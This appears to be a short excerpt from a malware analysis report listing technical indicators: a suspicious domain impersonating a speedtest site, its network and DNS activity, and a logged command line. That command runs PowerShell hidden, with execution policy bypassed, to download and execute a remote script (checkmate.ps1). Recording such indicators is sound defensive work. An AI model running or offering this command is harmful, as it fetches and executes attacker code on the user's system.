Technical Information
- https://speedtest.unfcu.us.org/download/mqzxgab/checkmate.ps1
- 'sp#####st.unfcu.us.org':443
- 'sp#####st.unfcu.us.org':443
- DNS ASK sp#####st.unfcu.us.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://speedtest.unfcu.us.org/download/mqzxgab/checkmate.ps1')"' (with hidden window)